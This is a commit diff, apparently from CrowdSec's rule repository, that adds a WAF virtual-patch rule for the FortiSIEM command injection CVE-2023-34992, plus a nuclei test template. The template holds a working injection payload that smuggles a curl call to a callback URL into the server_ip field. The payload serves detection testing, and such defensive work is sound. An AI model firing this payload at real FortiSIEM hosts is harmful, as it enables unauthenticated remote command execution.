Add vpatch-CVE-2023-34992 rule and test

.appsec-tests/vpatch-CVE-2023-34992/CVE-2023-34992.yaml

@@ -0,0 +1,26 @@
+## autogenerated on 2026-08-26 09:06:29
+id: CVE-2023-34992
+info:
+  name: CVE-2023-34992
+  author: crowdsec
+  severity: info
+  description: CVE-2023-34992 testing
+  tags: appsec-testing
+variables:
+  exploit: |
+    <TEST_STORAGE type="nfs">
+        <server_ip>127.0.0.1; curl -k "{{interactsh_url}}";</server_ip>
+        <mount_point>/test</mount_point>
+    </TEST_STORAGE>
+  payload: '{{"51000000" + dec_to_hex(len(exploit)) + "0000006f421e4000000000"}}'
+tcp:
+  - host:
+      - "tls://{{Hostname}}"
+    port: 7900
+    inputs:
+      - data: '{{hex_decode(payload) + exploit}}'
+    read-size: 2048
+    matchers:
+      - type: status
+        status:
+          - 403

.appsec-tests/vpatch-CVE-2023-34992/config.yaml

@@ -0,0 +1,5 @@
+## autogenerated on 2026-08-26 09:06:29
+appsec-rules:
+  - ./appsec-rules/crowdsecurity/base-config.yaml
+  - ./appsec-rules/crowdsecurity/vpatch-CVE-2023-34992.yaml
+nuclei_template: CVE-2023-34992.yaml

appsec-rules/crowdsecurity/vpatch-CVE-2023-34992.yaml

@@ -0,0 +1,38 @@
+## autogenerated on 2026-08-26 09:06:29
+name: crowdsecurity/vpatch-CVE-2023-34992
+description: 'Detects FortiSIEM unauthenticated command injection through a crafted storage XML payload.'
+rules:
+  - and:
+      - zones:
+          - RAW_BODY
+        transform:
+          - lowercase
+        match:
+          type: contains
+          value: '<test_storage'
+      - zones:
+          - RAW_BODY
+        transform:
+          - lowercase
+        match:
+          type: contains
+          value: '<server_ip>'
+      - zones:
+          - RAW_BODY
+        transform:
+          - lowercase
+        match:
+          type: contains
+          value: ';'
+
+labels:
+  type: exploit
+  service: http
+  confidence: 3
+  spoofable: 0
+  behavior: 'http:exploit'
+  label: 'FortiSIEM - RCE'
+  classification:
+    - cve.CVE-2023-34992
+    - attack.T1059
+    - cwe.CWE-78

collections/crowdsecurity/appsec-virtual-patching.yaml

@@ -104,6 +104,7 @@ appsec-rules:
 - crowdsecurity/vpatch-CVE-2024-57727
 - crowdsecurity/vpatch-CVE-2024-27292
 - crowdsecurity/vpatch-CVE-2025-24893
+- crowdsecurity/vpatch-CVE-2023-34992
 - crowdsecurity/vpatch-CVE-2021-43798
 - crowdsecurity/vpatch-CVE-2022-1388
 - crowdsecurity/vpatch-CVE-2021-26294